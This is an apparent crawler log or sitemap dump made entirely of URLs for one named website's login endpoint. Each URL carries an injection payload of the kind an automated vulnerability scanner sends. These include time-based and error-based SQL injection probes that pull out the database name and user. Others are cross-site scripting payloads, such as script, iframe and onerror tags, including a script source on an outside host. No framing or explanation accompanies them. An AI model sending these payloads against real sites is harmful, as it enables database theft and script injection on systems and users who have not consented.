http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=33)%20THEN%200x696E6974%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20RLIKE%20(SELECT%20(CASE%20WHEN%20(43=43)%20THEN%200x696E6974%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22%20AND%20%22ch%22=%22bq 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%22)%20AND%2025=97%20AND%20(%22Ga%22=%22Ga 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25%22%29%20AND%2083%3D62%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25%27%29%20AND%2013%3D13%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25%27%29%20AND%2018%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25%27%29%20AND%2025%3D51%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25%27%29%20AND%2047%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%2015=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%2031=16%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%2033=13%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%2046=46%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=73)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(95=71)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%2527 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%2527%20AND%2042=19%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%2527%20AND%2059=59%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%5B%5D 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%5C%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%5C' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%bf%27 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'8R'='8R 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'HA'='0T 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'Mj'='Mj 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'Zr'%20LIKE%20'Zr 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'nq'%20LIKE%20'96 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20'rK'='hw 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%20'Uv'='VP 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%20'yI'='yI'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=46)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20'Uf'='Uf 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20'Fi'='Fi 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(66=66)%20THEN%20'init'%20ELSE%200x28%20END))%20AND%20'sp'='sp 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=37)%20THEN%200x696E6974%20ELSE%200x28%20END))%20AND%20'wF'='wF 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%22 0.0003 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20('qz'%20LIKE%20'qz 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%20('s7'%20LIKE%20'cr 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 